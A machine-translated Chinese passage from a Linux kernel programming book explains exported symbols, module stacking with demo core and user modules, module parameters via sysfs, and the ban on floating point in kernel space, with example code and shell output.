-现在,两者都有这个内核模块之外的范围(注意,在前面的代码块中,`static`关键字是如何被故意移除的)。*其他内核模块(以及核心内核)现在可以“看到”并使用它们*。准确地说,这一想法通过两种广泛的方式得到利用: - -* 首先,内核导出一个精心设计的全局变量和函数的子集,这些变量和函数构成了内核功能的一部分,也是其他子系统的一部分。现在,这些全局变量和函数是可见的,因此可以从内核模块中使用!我们将很快看到一些示例用途。 - -* 第二,内核模块作者(通常是设备驱动程序)使用这个概念来导出特定的数据和/或功能,这样其他的内核模块,在更高的抽象层次上,也许可以利用这个设计并使用这个数据和/或功能——这个概念被称为*模块堆叠*,我们将很快通过一个例子来深入研究它。 - -例如,对于第一个用例,设备驱动程序作者可能想要处理来自外围设备的硬件中断。一种常见的方法是通过`request_irq()` API,事实上,它只不过是这个 API 的一个精简(内联)包装器: - -```sh -// kernel/irq/manage.c -int request_threaded_irq(unsigned int irq, irq_handler_t handler, - irq_handler_t thread_fn, unsigned long irqflags, - const char *devname, void *dev_id) -{ - struct irqaction *action; -[...] - return retval; -} -EXPORT_SYMBOL(request_threaded_irq); -``` - -正是因为`request_threaded_irq()`函数是*导出的*、*、*,所以它可以从设备驱动程序内部调用,而设备驱动程序通常被写成内核模块。类似地,开发人员经常需要一些“方便”的例程——例如,字符串处理例程。在`lib/string.c`中,Linux 内核提供了几个常见字符串处理函数的实现(您期望出现):`str[n]casecmp`、`str[n|l|s]cpy`、`str[n|l]cat`、`str[n]cmp`、`strchr[nul]`、`str[n|r]chr`、`str[n]len`等等。当然,这些都是通过`EXPORT_SYMBOL()`宏导出的*,以使它们可见,从而可供模块作者使用。* - -*Here, we used the `str[n|l|s]cpy` notation to imply that the kernel provides the four functions: `strcpy`, `strncpy`, `strlcpy`, and `strscpy`. - -另一方面,让我们来看一下内核的(微小的)一点 **CFS** ( **完全公平调度器**)在内核内核深处调度代码。这里`pick_next_task_fair()`函数是调度代码在我们需要找到另一个任务进行上下文切换时调用的函数: - -```sh -// kernel/sched/fair.c -static struct task_struct * -pick_next_task_fair(struct rq *rq, struct task_struct *prev, struct rq_flags *rf) -{ - struct cfs_rq *cfs_rq = &rq->cfs; -[...] - if (new_tasks > 0) - goto again; - return NULL; -} -``` - -我们并不是真的想在这里研究调度([第 10 章](10.html)、*CPU 调度器-第 1 部分*、[第 11 章](11.html)、*CPU 调度器-第 2 部分*,小心点)这里的重点是:由于前面的函数是*而不是*标记了`EXPORT_SYMBOL()`宏,所以它永远不能被内核模块调用。它对核心内核保持*私有*。 - -您也可以将数据结构标记为使用同一宏导出。此外,很明显,只有全局范围的数据(而不是局部变量)可以标记为导出。 - -If you want to see how the `EXPORT_SYMBOL()` macro works, please refer to the *Further reading* section of this chapter, which links to the book's GitHub repository. - -回想一下我们关于内核模块许可的简短讨论。Linux 内核有一个,我们可以说,有趣的,命题:还有一个宏叫做`EXPORT_SYMBOL_GPL()`。就像它的表亲`EXPORT_SYMBOL()`宏一样,除了,是的,导出的数据项或函数只对那些在其`MODULE_LICENSE()`宏中包含`GPL`一词的内核模块可见!啊,内核社区的甜蜜复仇。它确实被用在内核代码库中的几个地方。(我将把它作为一个练习留给您,让您在代码中查找这个宏的出现;在 5.4.0 内核上,通过`cscope(1)`快速搜索发现了“仅仅”14000 多个使用实例!) - -To view all exported symbols, navigate to the root of your kernel source tree and issue the `make export_report` command. Note though that this works only upon a kernel tree that has been configured and built. - -现在让我们看看实现类似于库的内核特性的另一种关键方法:模块堆叠。 - -## 了解模块堆叠 - -这里的第二个重要想法——模块堆叠——是我们现在要深入研究的。 - -模块堆叠是一个概念,它在一定程度上为内核模块作者提供了“类似库”的特性。在这里,我们通常以这样一种方式设计我们的项目或产品设计,即我们有一个或多个“核心”内核模块,其工作是充当一个种类库。它将包括数据结构和功能(函数/应用编程接口),这些数据结构和功能将被*导出*到其他内核模块(上一节讨论了符号的导出)。 - -为了更好地理解这一点,让我们看几个真实的例子。首先,在我的主机系统(Ubuntu 18.04.3 LTS 本地 Linux 系统)上,我通过 *Oracle VirtualBox 6.1* 虚拟机管理程序应用*运行了一个来宾虚拟机。*好的,在过滤字符串`vbox`的同时,在主机系统上执行快速`lsmod(8)`会显示以下内容: - -```sh -$ lsmod | grep vbox -vboxnetadp 28672 0 -vboxnetflt 28672 1 -vboxdrv 479232 3 vboxnetadp,vboxnetflt -$ -``` - -回想一下我们之前的讨论,第三列是*使用计数*。第一行是`0`,但第三行的值是`3`。不仅如此,`vboxdrv`内核模块的右边还列出了两个内核模块(在使用计数栏之后)。如果任何内核模块出现在第三列之后,则表示**依赖关系**;这样看:右边显示的内核模块*依赖于左边的*内核模块。 - -因此,在前面的例子中,`vboxnetadp`和`vboxnetflt`内核模块依赖于`vboxdrv`内核模块。*靠它*用什么方式?他们使用`vboxdrv`核心内核模块内的数据结构和/或函数(API),当然!一般来说,出现在第三列右边的内核模块意味着它们正在使用左边内核模块的一个或多个数据结构和/或函数(导致使用计数增加;这个用法计数是*引用计数器*的一个很好的例子(这里,它实际上是一个 32 位原子变量)*,*这是我们在上一章深入研究的东西)。实际上,`vboxdrv`内核模块类似于一个“库”(在有限的意义上,除了提供模块化功能之外,没有与用户模式库相关的通常的用户空间内涵)。你可以看到,在这个快照中,它的使用次数是`3`并且依赖它的内核模块堆叠在它上面——字面上!(可以在`lsmod(1)`输出的前两行看到。)此外,请注意`vboxnetflt`内核模块有一个正的使用计数(`1`),但是在其右侧没有内核模块出现;这仍然意味着某个东西正在使用它,通常是一个进程或线程。 - -FYI, the **Oracle VirtualBox** kernel modules we see in this example are actually the implementation of the **VirtualBox Guest Additions**. They are essentially a para-virtualization construct, helping to accelerate the working of the guest VM. Oracle VirtualBox provides similar functionality for Windows and macOS hosts as well (as do all the major virtualization vendors). - -模块堆叠的另一个例子,就像承诺的那样:运行强大的**LTTng**(**Linux Tracing Toolkit 下一代**)框架使您能够执行详细的系统分析。LTTng 项目安装并使用了相当多的内核模块(通常为 40 个或更多)。这些内核模块中有几个是“堆叠的”,允许项目精确地利用我们在这里讨论的“类似库”的特性。 - -在下图中(已经在 Ubuntu 18.04.4 LTS 系统上安装了 LTTng),查看与其内核模块相关的`lsmod | grep --color=auto "^lttng"`输出的部分截图: - -![](img/2efb448b-7738-479f-82b5-3bbde785be4d.png) - -Figure 5.3 – Heavy module stacking within the LTTng product - -可以看到,`lttng_tracer`内核模块右侧有 35 个内核模块,表示它们“堆叠”在上面,使用它提供的功能(类似地,`lttng_lib_ring_buffer`内核模块有 23 个内核模块“依赖”它)。 - -这里有一些快速的脚本魔法来查看所有使用计数为非零的内核模块(它们经常——但不总是——在它们的右侧显示一些相关的内核模块): - -```sh -lsmod | awk '$3 > 0 {print $0}' -``` - -模块堆叠的一个含义:只有当内核模块的使用次数为`0`时,才能成功`rmmod(8)`;也就是说,它没有被使用。因此,对于前面的第一个示例,我们只能在移除堆叠在其上的两个相关内核模块之后移除`vboxdrv`内核模块(从而使使用计数下降到`0`)。 - -### 尝试模块堆叠 - -让我们为模块堆叠设计一个非常简单的概念验证代码。为此,我们将构建两个内核模块: - -* 第一种我们称之为`core_lkm`;它的工作是充当某种“库”,为内核和其他模块提供一些函数(API)。 -* 我们的第二个内核模块`user_lkm`,是‘库’的‘用户’(或消费者);它将简单地调用驻留在第一个。 - -为此,我们的一对内核模块需要执行以下操作: - -* 核心内核模块必须使用`EXPORT_SYMBOL()`宏将一些数据和功能标记为*导出*。 -* 用户内核模块必须通过 C `extern`关键字声明它期望在外部使用的数据和/或功能(记住,导出数据或功能只是建立适当的链接;编译器仍然需要知道被调用的数据和/或函数)。 -* 对于最近的工具链,允许将导出的功能和数据项标记为`static`。不过,结果是一个警告;我们不会对导出的符号使用`static`关键字。 -* 编辑自定义 Makefile 来构建两个内核模块。 - -代码如下;首先,核心或库内核模块。为了(希望)让这变得更有趣,我们将把前面模块的一个函数的代码复制到这个内核模块中,并导出它,从而使它对我们的第二个“用户”LKM 可见,他将调用这个函数: - -Here, we do not show the full code; you can refer to the book's GitHub repo for it. - -```sh -// ch5/modstacking/core_lkm.c -#define pr_fmt(fmt) "%s:%s(): " fmt, KBUILD_MODNAME, __func__ -#include -#include - -#define MODNAME "core_lkm" -#define THE_ONE 0xfedface -MODULE_LICENSE("Dual MIT/GPL"); - -int exp_int = 200; -EXPORT_SYMBOL_GPL(exp_int); - -/* Functions to be called from other LKMs */ -void llkd_sysinfo2(void) -{ -[...] -} -EXPORT_SYMBOL(llkd_sysinfo2); - -#if(BITS_PER_LONG == 32) -u32 get_skey(int p) -#else // 64-bit -u64 get_skey(int p) -#endif -{ -#if(BITS_PER_LONG == 32) - u32 secret = 0x567def; -#else // 64-bit - u64 secret = 0x123abc567def; -#endif - if (p == THE_ONE) - return secret; - return 0; -} -EXPORT_SYMBOL(get_skey); -[...] -``` - -接下来是`user_lkm`内核模块,一个“堆叠”在`core_lkm`内核模块之上的模块: - -```sh -// ch5/modstacking/user_lkm.c -#define pr_fmt(fmt) "%s:%s(): " fmt, KBUILD_MODNAME, __func__ -#define MODNAME "user_lkm" - -#if 1 -MODULE_LICENSE("Dual MIT/GPL"); -#else -MODULE_LICENSE("MIT"); -#endif - -extern void llkd_sysinfo2(void); -extern long get_skey(int); -extern int exp_int; - -/* Call some functions within the 'core' module */ -static int __init user_lkm_init(void) -{ -#define THE_ONE 0xfedface - pr_info("%s: inserted\n", MODNAME); - u64 sk = get_skey(THE_ONE); - pr_debug("%s: Called get_skey(), ret = 0x%llx = %llu\n", - MODNAME, sk, sk); - pr_debug("%s: exp_int = %d\n", MODNAME, exp_int); - llkd_sysinfo2(); - return 0; -} - -static void __exit user_lkm_exit(void) -{ - pr_info("%s: bids you adieu\n", MODNAME); -} -module_init(user_lkm_init); -module_exit(user_lkm_exit); -``` - -Makefile 与我们早期的内核模块基本相同,只是这次我们需要构建两个内核模块对象,如下所示: - -```sh -obj-m := core_lkm.o -obj-m += user_lkm.o -``` - -好吧,让我们试试: - -1. 首先,构建内核模块: - -```sh -$ make - ---- Building : KDIR=/lib/modules/5.4.0-llkd02-kasan/build ARCH= CROSS_COMPILE= EXTRA_CFLAGS=-DDEBUG --- - -make -C /lib/modules/5.4.0-llkd02-kasan/build M=/home/llkd/booksrc/ch5/modstacking modules -make[1]: Entering directory '/home/llkd/kernels/linux-5.4' - CC [M] /home/llkd/booksrc/ch5/modstacking/core_lkm.o - CC [M] /home/llkd/booksrc/ch5/modstacking/user_lkm.o - [...] - Building modules, stage 2. - MODPOST 2 modules - CC [M] /home/llkd/booksrc/ch5/modstacking/core_lkm.mod.o - LD [M] /home/llkd/booksrc/ch5/modstacking/core_lkm.ko - CC [M] /home/llkd/booksrc/ch5/modstacking/user_lkm.mod.o - LD [M] /home/llkd/booksrc/ch5/modstacking/user_lkm.ko -make[1]: Leaving directory '/home/llkd/kernels/linux-5.4' -$ ls *.ko -core_lkm.ko user_lkm.ko -$ -``` - -Note that we're building our kernel modules against our custom 5.4.0 kernel. Do notice its full version is `5.4.0-llkd02-kasan`; this is deliberate. This is the "debug kernel" that I have built and am using as a test-bed! - -2. 现在,让我们执行一系列快速测试来演示*模块堆叠*概念验证。先做*错*:先尝试插入`user_lkm` 内核模块,再插入`core_lkm` 模块。 - -这将失败——为什么?您将意识到`user_lkm`内核模块所依赖的导出功能(和数据)在内核中不可用。更严格地说,符号不会位于内核的符号表中,因为还没有插入包含它们的`core_lkm` 内核模块: - -```sh -$ sudo dmesg -C -$ sudo insmod ./user_lkm.ko -insmod: ERROR: could not insert module ./user_lkm.ko: Unknown symbol in module -$ dmesg -[13204.476455] user_lkm: Unknown symbol exp_int (err -2) -[13204.476493] user_lkm: Unknown symbol get_skey (err -2) -[13204.476531] user_lkm: Unknown symbol llkd_sysinfo2 (err -2) -$ -``` - -不出所料,由于所需的(要导出的)符号不可用,`insmod(8)`失败(您在内核日志中看到的确切错误消息可能会因内核版本和调试配置选项集而略有不同)。 - -3. 现在,让我们做对: - -```sh -$ sudo insmod ./core_lkm.ko -$ dmesg -[...] -[19221.183494] core_lkm: inserted -$ sudo insmod ./user_lkm.ko -$ dmesg -[...] -[19221.183494] core_lkm:core_lkm_init(): inserted -[19242.669208] core_lkm:core_lkm_init(): /home/llkd/book_llkd/Linux-Kernel-Programming/ch5/modstacking/core_lkm.c:get_skey():100: I've been called -[19242.669212] user_lkm:user_lkm_init(): inserted -[19242.669217] user_lkm:user_lkm:user_lkm_init(): Called get_skey(), ret = 0x123abc567def = 20043477188079 -[19242.669219] user_lkm:user_lkm_init(): exp_int = 200 -[19242.669223] core_lkm:llkd_sysinfo2(): minimal Platform Info: - CPU: x86_64, little-endian; 64-bit OS. -$ -``` - -4. 果然管用!使用`lsmod(8)`查看模块列表: - -```sh -$ lsmod | egrep "core_lkm|user_lkm" -user_lkm 20480 0 -core_lkm 16384 1 user_lkm -$ -``` - -注意,对于`core_lkm`内核模块,使用计数列已经增加到了`1` *和*我们现在可以看到`user_lkm`内核模块依赖于`core_lkm`内核模块。回想一下`lsmod`输出的最右列中显示的内核模块依赖于最左列中的内核模块。 - -5. 现在,让我们移除内核模块。移除内核模块也有一个*排序依赖*(就像插入一样)。试图移除`core_lkm` 首先会失败,因为很明显,内核内存中还有另一个模块依赖于它的代码/数据;换句话说,它仍然在使用: - -```sh -$ sudo rmmod core_lkm -rmmod: ERROR: Module core_lkm is in use by: user_lkm -$ -``` - -Note that if the modules are *installed* onto the system, then you could use the `modprobe -r ` command to remove all related modules; we cover this topic in the *Auto-loading modules on system boot* section. - -6. 前面的`rmmod(8)`失败消息不言自明。所以,让我们做对: - -```sh -$ sudo rmmod user_lkm core_lkm -$ dmesg -[...] - CPU: x86_64, little-endian; 64-bit OS. -[19489.717265] user_lkm:user_lkm_exit(): bids you adieu -[19489.732018] core_lkm:core_lkm_exit(): bids you adieu -$ -``` - -好了,完成了! - -你会注意到在`user_lkm` 内核模块的代码中,我们发布它的许可证是在一个有条件的`#if`语句中: - -```sh -#if 1 -MODULE_LICENSE("Dual MIT/GPL"); -#else -MODULE_LICENSE("MIT"); -#endif -``` - -我们可以看到它是在*双 MIT/GPL* 许可下发布的(默认);那又怎样?想想看:在`core_lkm` 内核模块的代码中,我们有以下内容: - -```sh -int exp_int = 200; -EXPORT_SYMBOL_GPL(exp_int); -``` - -`exp_int`整数是*只对那些在 GPL 许可下运行的内核模块可见。*所以,试试这个:将`core_lkm`中的`#if 1`语句改为`#if 0`,这样现在就可以在麻省理工学院专用许可下发布了。现在,重建并重试。它在构建阶段本身失败了: - -```sh -$ make -[...] -Building for: kver=5.4.0-llkd01 ARCH=x86 CROSS_COMPILE= EXTRA_CFLAGS=-DDEBUG - Building modules, stage 2. - MODPOST 2 modules -FATAL: modpost: GPL-incompatible module user_lkm.ko uses GPL-only symbol 'exp_int' -[...] -$ -``` - -执照确实很重要!在我们结束这一部分之前,这里有一个模块堆叠可能出错的快速列表;也就是要检查的东西: - -* 插入/移除时指定的内核模块顺序错误 -* 试图插入已经在内核内存中的导出例程–命名空间冲突问题: - -```sh -$ sudo insmod ./min_sysinfo.ko -[...] -$ cd ../modstacking ; sudo insmod ./core_lkm.ko -insmod: ERROR: could not insert module ./core_lkm.ko: Invalid module format -$ dmesg -[...] -[32077.823472] core_lkm: exports duplicate symbol llkd_sysinfo2 (owned by min_sysinfo) -$ sudo rmmod min_sysinfo -$ sudo insmod ./core_lkm.ko * # now it's ok* -``` - -* 使用`EXPORT_SYMBOL_GPL()`宏导致的许可证问题 - -Always look up the kernel log (with `dmesg(1)` or `journalctl(1)`). It often helps to show what actually went awry. - -因此,让我们总结一下:为了在内核模块空间中模拟一个类似库的特性,我们探索了两种技术: - -* 我们使用的第一种技术是将多个源文件链接到一个内核模块中。 -* 这与*模块堆叠*技术相反,在这种技术中,我们实际上构建了多个内核模块,并将它们“堆叠”在彼此之上。 - -第一种技术不仅运行良好,还具有以下优点: - -* 我们做*而不是*必须明确标记(通过`EXPORT_SYMBOL()`)我们用作导出的每个数据/功能符号。 -* 这些功能只对它实际链接到的内核模块可用(而不是整个**内核,包括其他模块*)。这是好事!所有这些都是以稍微调整 Makefile 为代价的——非常值得。* - - *“链接”方法的缺点是:当链接多个文件时,内核模块的大小可能会变大。 - -这就是你学习内核编程的一个强大特性——将多个源文件链接在一起形成一个内核模块的能力,和/或利用模块堆叠设计,这两者都允许你开发更复杂的内核项目。 - -在下一节中,我们将深入探讨如何将参数传递给内核模块的细节。 - -# 将参数传递给内核模块 - -一种常见的调试技术是*仪器*你的代码;也就是说,在适当的点插入打印,这样您就可以遵循代码的路径。当然,在内核模块中,我们会为此使用通用的`printk` 函数。那么,假设我们做了如下的事情(伪代码): - -```sh -#define pr_fmt(fmt) "%s:%s():%d: " fmt, KBUILD_MODNAME, __func__, __LINE__ -[ ... ] -func_x() { - pr_debug("At 1\n"); - [...] - while () { - pr_debug("At 2: j=0x%x\n", j); - [...] - } - [...] -} -``` - -好极了。但是我们不希望调试打印出现在生产(或发布)版本中。这正是我们使用`pr_debug()`的原因:只有当符号`DEBUG`被定义时,它才会发出一个 printk!的确如此,但有趣的是,如果我们的客户是工程客户,并且希望*动态打开或关闭这些调试打印件*会怎样?你可以采取几种方法;一个是如下伪代码: - -```sh -static int debug_level; /* will be init to zero */ -func_x() { - if (debug_level >= 1) pr_debug("At 1\n"); - [...] - while () { - if (debug_level >= 2) - pr_debug("At 2: j=0x%x\n", j); - [...] - } - [...] -} -``` - -啊,太好了。所以,我们真正得到的是这样的:*如果我们能让* `debug_level` *模块变量* *成为我们内核模块的一个参数呢?*然后,一个强大的东西,你的内核模块的用户可以控制调试消息是否出现。 - -## 声明和使用模块参数 - -模块参数在模块插入(`insmod`)时作为*名称=值*对传递给内核模块。例如,假设我们有一个名为`mp_debug_level`的*模块参数*;然后,我们可以在`insmod(8)`时间传递它的值,像这样: - -```sh -sudo insmod modparams1.ko mp_debug_level=2 -``` - -Here, the `mp` prefix stands for module parameter. It's not required to name it that way, of course, it is pedantic, but might just makes it a bit more intuitive. - -那将是强大的。现在,最终用户可以决定他们想要什么样的详细程度的调试级别的消息。我们甚至可以很容易地安排默认值为`0`。 - -你可能会想:内核模块没有`main()`功能,因此没有常规的`(argc, argv)`参数列表,那么,你到底是如何传递参数的呢?事实是,这有点链接器的诡计;只需这样做:将预期的模块参数声明为全局(`static`)变量,然后使用`module_param()`宏向构建系统指定将其视为模块参数。 - -这很容易从我们第一个模块参数的演示内核模块中看到(像往常一样,完整的源代码和 Makefile 可以在书中的 GitHub repo 中找到): - -```sh -// ch5/modparams/modparams1/modparams1.c -[ ... ] -/* Module parameters */ -static int mp_debug_level; -module_param(mp_debug_level, int, 0660); -MODULE_PARM_DESC(mp_debug_level, -"Debug level [0-2]; 0 => no debug messages, 2 => high verbosity"); - -static char *mp_strparam = "My string param"; -module_param(mp_strparam, charp, 0660); -MODULE_PARM_DESC(mp_strparam, "A demo string parameter"); -``` - -In the `static int mp_debug_level;` statement, there is no harm in changing it to `static int mp_debug_level = 0;` , thus explicitly initializing the variable to 0, right? Well, no: the kernel's `scripts/checkpatch.pl` script output reveals that this is not considered good coding style by the kernel community: - -`ERROR: do not initialise statics to 0` -`#28: FILE: modparams1.c:28:` -`+static int mp_debug_level = 0;` - -在前面的代码块中,我们已经通过`module_param()`宏将两个变量声明为模块参数。`module_param()`宏取三个参数: - -* 第一个参数:变量名(我们希望将其视为模块参数)。这应该使用`static`限定符来声明。 -* 第二个参数:它的数据类型。 -* 第三个参数:权限(真的,它的可见性通过`sysfs`;这解释如下)。 - -`MODULE_PARM_DESC()`宏允许我们“描述”参数所代表的内容。想想看,这就是你如何通知最终用户内核模块(或驱动)以及哪些参数是实际可用的。通过`modinfo(8)`实用程序执行查找。此外,通过使用`-p`选项开关,您可以专门将参数信息打印到模块,如图所示: - -```sh -cd /ch5/modparams/modparams1 -make -$ modinfo -p ./modparams1.ko -parm: mp_debug_level:Debug level [0-2]; 0 => no debug messages, 2 => high verbosity (int) -parm: mp_strparam:A demo string parameter (charp) -$ -``` - -`modinfo(8)`输出显示可用的模块参数(如果有)。在这里,我们可以看到我们的`modparams1.ko`内核模块有两个参数,它们的名称、描述和数据类型(括号内;`charp`是字符指针,显示一个字符串)。好了,现在让我们快速演示一下我们的内核模块: - -```sh -sudo dmesg -C -sudo insmod ./modparams1.ko -dmesg -[42724.936349] modparams1: inserted -[42724.936354] module parameters passed: mp_debug_level=0 mp_strparam=My string param -``` - -这里,我们从`dmesg(1)`输出中看到,由于我们没有显式传递任何内核模块参数,模块变量显然保留了它们的缺省(原始)值。让我们重复一遍,这次将显式值传递给模块参数: - -```sh -sudo rmmod modparams1 -sudo insmod ./modparams1.ko mp_debug_level=2 mp_strparam=\"Hello modparams1\" -$ dmesg -[...] -[42734.162840] modparams1: removed -[42766.146876] modparams1: inserted -[42766.146880] module parameters passed: mp_debug_level=2 mp_strparam=Hello modparams1 -$ -``` - -它像预期的那样工作。既然我们已经看到了如何声明一些参数并将其传递给内核模块,那么让我们看看如何在运行时检索甚至修改它们。 - -## 插入后获取/设置模块参数 - -让我们再仔细看看前面`modparams1.c`源文件中`module_param()`宏的用法: - -```sh -module_param(mp_debug_level, int, 0660); -``` - -注意第三个参数,*权限*(或者*模式*):是`0660`(当然是*八进制*号,暗示所有者和组有读写权限,其他人没有权限)。直到您意识到如果权限参数被指定为非零,伪文件会在`sysfs`文件系统下创建,表示内核模块参数,这里:`/sys/module//parameters/`: - -`sysfs` is usually mounted under `/sys`. Also, by default, all pseudo-files will have the owner and group as root. - -1. 因此,对于我们的`modparams1`内核模块(假设它被加载到内核内存中),让我们来查找它们: - -```sh -$ ls /sys/module/modparams1/ -coresize holders/ initsize initstate notes/ parameters/ refcnt sections/ srcversion taint uevent version -$ ls -l /sys/module/modparams1/parameters/ -total 0 --rw-rw---- 1 root root 4096 Jan 1 17:39 mp_debug_level --rw-rw---- 1 root root 4096 Jan 1 17:39 mp_strparam -$ -``` - -的确,他们在那里!不仅如此,它真正的妙处在于,这些“参数”现在可以随时随意读写(当然,只是需要 root 权限)! - -2. 看看吧: - -```sh -$ cat /sys/module/modparams1/parameters/mp_debug_level -cat: /sys/module/modparams1/parameters/mp_debug_level: Permission denied -$ sudo cat /sys/module/modparams1/parameters/mp_debug_level -[sudo] password for llkd: -2 -``` - -是的,我们`mp_debug_level`内核模块参数的当前值确实是`2`。 - -3. 让我们将其动态更改为`0`,这意味着`modparams1`内核模块不会发出任何“调试”消息: - -```sh -$ sudo bash -c "echo 0 > /sys/module/modparams1/parameters/mp_debug_level" -$ sudo cat /sys/module/modparams1/parameters/mp_debug_level -0 -``` - -瞧,完成了。您可以类似地获取和/或设置`mp_strparam`参数;我们将把它留给你作为一个简单的练习来尝试。这是很强大的东西:你可以通过内核模块参数编写简单的脚本来控制设备(或任何东西)的行为,获取(或切断)调试信息,等等;可能性是无穷的。 - -实际上,将第三个参数`module_param()`编码为文字八进制数(如`0660`)在某些圈子里并不被认为是最佳编程实践。通过适当的宏(在`include/uapi/linux/stat.h`中指定)指定`sysfs`伪文件的权限,例如: - -```sh -module_param(mp_debug_level, int, S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP); -``` - -然而,说到这里,我们的“更好”Makefile 的 *checkpatch* 目标(当然,它调用内核的`scripts/checkpatch.pl`“编码风格”Perl 脚本检查器)礼貌地告诉我们,简单地使用八进制权限更好: - -```sh -$ make checkpatch -[ ... ] -checkpatch.pl: /lib/modules//build//scripts/checkpatch.pl --no-tree -f *.[ch] -[ ... ] -WARNING: Symbolic permissions 'S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP' are not preferred. Consider using octal permissions '0660'. - #29: FILE: modparams1.c:29: - +module_param(mp_debug_level, int, S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP); -``` - -所以,内核社区不同意。因此,我们将只使用`0660`的“常用”八进制数符号。 - -## 模块参数数据类型和验证 - -在前面的简单内核模块中,我们设置了整数和字符串数据类型的两个参数(`charp`)。可以使用哪些其他数据类型?几个,事实证明:`moduleparam.h`包含文件揭示了所有(在一个注释内,复制如下): - -```sh -// include/linux/moduleparam.h -[...] - * Standard types are: - * byte, short, ushort, int, uint, long, ulong - * charp: a character pointer - * bool: a bool, values 0/1, y/n, Y/N. - * invbool: the above, only sense-reversed (N = true). -``` - -如果需要,您甚至可以定义自己的数据类型。不过,通常标准类型已经足够了。 - -### 验证内核模块参数 - -所有内核模块参数默认为*可选*;用户可以或不可以显式地传递它们。但是如果我们的项目要求用户*必须为给定的内核模块参数显式地传递一个值*呢?我们在这里解决这个问题:让我们增强我们之前的内核模块,创建另一个(`ch5/modparams/modparams2`),关键区别在于我们设置了一个名为`control_freak`的附加参数。现在,我们*要求*用户*在模块插入时必须*传递该参数: - -1. 让我们用代码设置新的模块参数: - -```sh -static int control_freak; -module_param(control_freak, int, 0660); -MODULE_PARM_DESC(control_freak, "Set to the project's control level [1-5]. MANDATORY"); -``` - -2. 如何才能做到这种“强制通过”?嗯,真的有点黑:只要在插入时检查值是否是默认值(这里是`0`)。如果是这样,那么用适当的消息中止(我们还做了一个简单的有效性检查,以确保传递的整数在给定的范围内)。以下是`ch5/modparams/modparams2/modparams2.c`的初始化代码: - -```sh -static int __init modparams2_init(void) -{ - pr_info("%s: inserted\n", OUR_MODNAME); - if (mp_debug_level > 0) - pr_info("module parameters passed: " - "mp_debug_level=%d mp_strparam=%s\n control_freak=%d\n", - mp_debug_level, mp_strparam, control_freak); - - /* param 'control_freak': if it hasn't been passed (implicit guess), - * or is the same old value, or isn't within the right range, - * it's Unacceptable! :-) - */ - if ((control_freak < 1) || (control_freak > 5)) { - pr_warn("%s: Must pass along module parameter" - " 'control_freak', value in the range [1-5]; aborting...\n", - OUR_MODNAME); - return -EINVAL; - } - return 0; /* success */ -} -``` - -3. 此外,作为一个快速演示,请注意我们如何发出 printk,仅当`mp_debug_level`为正时才显示模块参数值。 -4. 最后,在这个主题上,内核框架提供了一种更严格的方法来“获取/设置”内核(模块)参数,并通过`module_parm_cb()`宏(`cb`用于回调)对其执行有效性检查。我们在这里就不深究了;我建议你参考一篇在*进一步阅读*文档中提到的博客文章,了解使用它的详细信息。 - -现在,让我们继续讨论如何(以及为什么)覆盖模块参数的名称。 - -### 重写模块参数的名称 - -为了解释这个特性,让我们从(5.4.0)内核源代码树中举一个例子:直接映射缓冲 I/O 库驱动程序`drivers/md/dm-bufio.c`,需要使用`dm_bufio_current_allocated`变量作为模块参数。然而,这个名字实际上是一个*内部变量*的名字,对于这个司机的用户来说不是很直观。该驱动程序的作者更愿意使用另一个名称–`current_allocated_bytes`–作为*别名*或*名称覆盖。*准确地说,这可以通过`module_param_named()`宏实现,覆盖并完全等同于内部变量名,如下所示: - -```sh -// drivers/md/dm-bufio.c -[...] -module_param_named(current_allocated_bytes, dm_bufio_current_allocated, ulong, S_IRUGO); -MODULE_PARM_DESC(current_allocated_bytes, "Memory currently used by the cache"); -``` - -因此,当用户在该驱动程序上执行`insmod`时,他们可以执行如下操作: - -```sh -sudo insmod dm-bufio.ko current_allocated_bytes=4096 ... -``` - -在内部,实际变量`dm_bufio_current_allocated`将被赋值`4096`。 - -### 硬件相关的内核参数 - -出于安全原因,指定硬件特定值的模块或内核参数有一个单独的宏–`module_param_hw[_named|array]()`。David Howells 于 2016 年 12 月 1 日提交了这些新硬件参数内核支持的补丁系列。补丁邮件[[https://lwn.net/Articles/708274/](https://lwn.net/Articles/708274/)]提到了以下内容: - -```sh -Provided an annotation for module parameters that specify hardware -parameters (such as io ports, iomem addresses, irqs, dma channels, fixed -dma buffers and other types). - -This will enable such parameters to be locked down in the core parameter -parser for secure boot support. [...] -``` - -关于内核模块参数的讨论到此结束。让我们继续讨论一个特殊的方面——内核中的浮点用法。 - -# 内核中不允许浮点运算 - -几年前,在从事温度传感器设备驱动程序的工作时,我有过一次有趣的经历(尽管当时并不那么有趣)。试图将以毫摄氏度为单位的温度值表示为以摄氏度为单位的“常规”温度值,我做了如下工作: - -```sh -double temp; -[... processing ...] -temp = temp / 1000.0; -printk(KERN_INFO "temperature is %.3f degrees C\n", temp); -``` - -从那以后一切都变坏了! - -德高望重的 LDD ( *Linux 设备驱动程序*,由*科尔贝特、鲁比尼、G-K-哈特曼*所著)一书指出了我的错误——**内核空间不允许浮点** (FP)运算!这是一个有意识的设计决定——保存处理器(FP)状态,打开 FP 单元,工作,然后关闭并恢复 FP 状态,只是在内核中不被认为是一件值得做的事情。内核(或驱动程序)开发人员最好不要试图在内核空间中执行 FP 工作。 - -那么,你会问,(在我的例子中)如何进行温度转换?简单:将*整数*毫摄氏度值*传递给用户空间*,在那里进行 FP 工作! - -说到这里,显然有一种方法可以强制内核执行 FP:将您的浮点代码放在`kernel_fpu_begin()`和`kernel_fpu_end()`宏之间。在内核代码库中,有一些地方精确地使用了这种技术(通常,一些代码路径覆盖了加密/AES、循环冗余校验等)。无论如何,建议典型的模块(或驱动程序)开发者*只在内核*中执行整数运算。 - -然而,为了测试这整个场景(永远记住,**经验方法——实际上尝试事情——是唯一现实的前进方式!* ) *,*我们编写了一个简单的内核模块,试图执行一些 FP 工作。代码的关键部分如下所示:* - -```sh -// ch5/fp_in_kernel/fp_in_kernel.c -static double num = 22.0, den = 7.0, mypi; -static int __init fp_in_lkm_init(void) -{ - [...] - kernel_fpu_begin(); - mypi = num/den; - kernel_fpu_end(); -#if 1 - pr_info("%s: PI = %.4f = %.4f\n", OURMODNAME, mypi, num/den); -#endif - return 0; /* success */ -} -``` - -它实际上是起作用的,*直到* *我们尝试通过* `printk()`显示 FP 值!在这一点上,它变得相当疯狂。请看下面的截图: - -![](img/db2fd58d-2571-4d7f-8a51-9e850d789a31.png) - -Figure 5.4 – The output of WARN_ONCE() 